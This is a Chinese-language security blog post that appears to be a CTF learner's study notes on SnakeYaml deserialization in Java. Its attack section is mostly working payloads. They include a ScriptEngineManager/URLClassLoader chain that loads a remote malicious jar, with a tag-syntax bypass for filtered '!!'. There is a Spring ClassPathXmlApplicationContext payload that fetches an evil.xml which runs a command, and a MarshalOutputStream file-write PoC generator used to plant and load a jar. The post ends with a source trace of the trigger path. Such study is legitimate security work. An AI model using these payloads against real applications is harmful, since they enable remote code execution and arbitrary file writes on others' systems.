SnakeYaml

SnakeYaml也算是常见的包,在之前打题的时候遇到过,国决java题两道solon也有这个包。

前言

SnakeYaml是一个完整的YAML1.1规范Processor,用于解析YAML,序列化以及反序列化,支持UTF-8/UTF-16,支持Java对象的序列化/反序列化,支持所有YAML定义的类型。

Basic Practice

依赖如下:

1
2
3
4
5
<dependency>
<groupId>org.yaml</groupId>
<artifactId>snakeyaml</artifactId>
<version>1.27</version>
</dependency>

两个方法:

  • Yaml.load():入参是一个字符串或者一个文件,返回一个Java对象
  • Yaml.dump():将一个对象转化为yaml文件形式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
package com.snake.demo;

public class User {
private String name;
public int age;

public User(String name, int age) {
this.name = name;
this.age = age;
}

public User() {
System.out.println("Non Arg Constructor");
}

public String getName() {
System.out.println("getName");
return name;
}

public void setName(String name) {
System.out.println("setName");
this.name = name;
}

public int getAge() {
System.out.println("getAge");
return age;
}

public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}

@Override
public String toString() {
return "I am " + name + ", " + age + " years old";
}
}

dump

1
2
3
User user = new User("taco", 18);
Yaml yaml = new Yaml();
System.out.println(yaml.dump(user));

打印结果:

getName

!!com.snake.demo.User {age: 18, name: taco}

!!用于强制类型转换,与fastjson中@type字段类似

1
dump()还调用了非public成员的getter

load

1
2
3
4
String s = "!!com.snake.demo.User {age: 18, name: taco}";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user);

Non Arg Constructor

setName

I am taco, 18 years old

1
load()调用了无参构造器和非public成员的setter

实际上不仅无参构造器能够调用,还能指定调用有参构造器,只要传参类型为有参构造器的参数类型即可。

1
2
3
4
String s = "!!com.snake.demo.User [\"taco\", 18]";
Yaml yaml = new Yaml();
User user = yaml.load(s);
System.out.println(user);

Arg Constructor Called

I am taco, 18 years old

此时就不会调用setter方法了

若类属性是public修饰,不会调用对应的setter方法,而是通过反射来set

Attack

yaml反序列化时通过!! + 全类名指定反序列化的类,和fastjson一样都会调用setter,不过对于public修饰的成员不会调用其setter,除此之外,snakeyaml反序列化时还能调用该类的构造函数(fastjson是通过ASM生成的)。

ScriptEngineManager

构造ScriptEngineManagerpayload,利用SPI机制通过URLClassLoader远程加载恶意字节码文件。

Github上面的EXP:https://github.com/artsploit/yaml-payload

工具的工程classpath下存在META-INF/services文件夹

1
javax.script.ScriptEngineFactory

artsploit.AwesomeScriptEngineFactory

打成jar包

javac src/artsploit/AwesomeScriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

将生成yaml-payload.jar包放在web服务上

1
python -m http.server 9999

!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL [“http://127.0.0.1:9999/yaml-payload.jar"] ]] ]

image-20240803154021356

触发流程如下:

javax.script.ScriptEngineManager

image-20240803154059167

image-20240803154133518

ScriptEngineManager的无参构造器调用了init(),进行初始化设置后调用initEngines(),用于初始化脚本引擎。

接着到getServiceLoader,用于获取ServiceLoader迭代器

image-20240803154442837

到了熟悉的ServiceLoader.load()返回一个ServiceLoader<T>,根据这个可以获取一个迭代器,接下来还是熟悉的迭代遍历。

image-20240803154716142

next() => nextService()会加载接口实现类并实例化,网上有详解。

SpringFramework远程加载配置

Spring当中有两个类的构造函数远程加载配置,可以构成RCE

org.springframework.context.support.ClassPathXmlApplicationContext org.springframework.context.support.FileSystemXmlApplicationContext

1
2
3
4
5
6
7
8
9
10
11
12
13
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>calc</value>
</list>
</constructor-arg>
</bean>
</beans>

!!org.springframework.context.support.ClassPathXmlApplicationContext [“http://127.0.0.1:8888/evil.xml"]

既然能触发getter,那么fastjson的大部分payload也可以用。

写文件加载本地jar

!!sun.rmi.server.MarshalOutputStream [!!java.util.zip.InflaterOutputStream [!!java.io.FileOutputStream [!!java.io.File [“filePath”],false],!!java.util.zip.Inflater { input: !!binary base64 },length]]

filepath是写入路径,base64str为经过zlib压缩过后的文件内容,length为文件大小

和fastjson一样,对于byte数组会自动进行base64解码(snakeyaml中为binary)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import com.sun.org.apache.xml.internal.security.utils.JavaUtils;
import org.yaml.snakeyaml.Yaml;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Base64;
import java.util.zip.Deflater;

public class SnakeYamlFilePOC {

public static void main(String[] args) throws IOException {
String poc = createPoc("E:/flag.txt", "E:/a.txt");
System.out.println(poc);
// Yaml yaml = new Yaml();
// yaml.load(poc);
}
public static String createPoc(String src, String path) throws IOException {
byte[] file = JavaUtils.getBytesFromFile(src);
int length = file.length;
byte[] compressed = compress(file);
String b64 = Base64.getEncoder().encodeToString(compressed);
String payload = "!!sun.rmi.server.MarshalOutputStream " +
"[!!java.util.zip.InflaterOutputStream [" +
"!!java.io.FileOutputStream [" +
"!!java.io.File [\"" + path + "\"],false]," +
"!!java.util.zip.Inflater { input: !!binary " + b64 + " }, " + length +
"]]";
return payload;
}

public static byte[] compress(byte[] input) throws IOException {
Deflater deflater = new Deflater();
deflater.setInput(input);
deflater.finish();

ByteArrayOutputStream outputStream = new ByteArrayOutputStream();

byte[] buffer = new byte[1024];
while (!deflater.finished()) {
int compressedSize = deflater.deflate(buffer);
outputStream.write(buffer, 0, compressedSize);
}

outputStream.close();
return outputStream.toByteArray();
}
}

既然可以写文件,那就把jar写入目标环境,然后再通过URLClassloader本地加载

1
2
3
4
5
6
7
8
9
Yaml yaml = new Yaml();
String poc = createPoc("./yaml-payload.jar", "E:/evil.jar");
yaml.load(poc);
String s = "!!javax.script.ScriptEngineManager [\n" +
"!!java.net.URLClassLoader [[\n" +
"!!java.net.URL [\"file:///E:/evil.jar\"]\n" +
"]]\n" +
"]";
yaml.load(s);

Yaml#load()

1
2
3
public <T> T load(String yaml) {
return (T) loadFromReader(new StreamReader(yaml), Object.class);
}

payload存储于StreamReader的stream字段:

image-20240803155110646

回到loadFromReader(),创建了一个Composer对象,并封装到constructor中:

1
2
3
4
5
private Object loadFromReader(StreamReader sreader, Class<?> type) {
Composer composer = new Composer(new ParserImpl(sreader), resolver, loadingConfig);
constructor.setComposer(composer);
return constructor.getSingleData(type);
}

跟进getSingleData

image-20240803155215536

getSingleNode()将poc改造为如下:

<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:javax.script.ScriptEngineManager, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URLClassLoader, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:seq, value=[<org.yaml.snakeyaml.nodes.SequenceNode (tag=tag:yaml.org,2002:java.net.URL, value=[<org.yaml.snakeyaml.nodes.ScalarNode (tag=tag:yaml.org,2002:str, value=http://127.0.0.1:9999/yaml-payload.jar)>])>])>])>])>

若过滤了!!,可利用此tag规则进行绕过:

1
!tag:yaml.org,2002:javax.script.ScriptEngineManager [!tag:yaml.org,2002:java.net.URLClassLoader [[!tag:yaml.org,2002:java.net.URL ["http://ip/yaml-payload.jar"]]]]

接着调用constructDocument()对上面poc进行处理:

image-20240803155327831

跟进constructObject() => constructObjectNoCheck()

image-20240803155346497

node放入recursiveObjects,进入constructor.construct(node)

image-20240803155404381

image-20240803155418302

遍历节点,调用constructObject()又循环回去了

constructObjectNoCheck()->

BaseConstructor#construct()->

Contructor#construct()->

递归Contructor#constructObject()

上面的POC有5个node,所以循环5次。

先后进行了URL、URLClassLoader、ScriptEngineManager的实例化

注意这里实例化是有传参数(argumentList)的,把前一个类的实例化对象当作下个类构造器的参数。

最后进入ScriptEngineManager的无参构造器,连接上了上文的SPI机制。

image-20240803155529534

参考:

SnakeYaml反序列化及不出网利用

SnakeYaml | Java (gitbook.io)


SnakeYaml
https://eddiemurphy89.github.io/2024/08/03/SnakeYaml/
作者
EddieMurphy
发布于
2024年8月3日
许可协议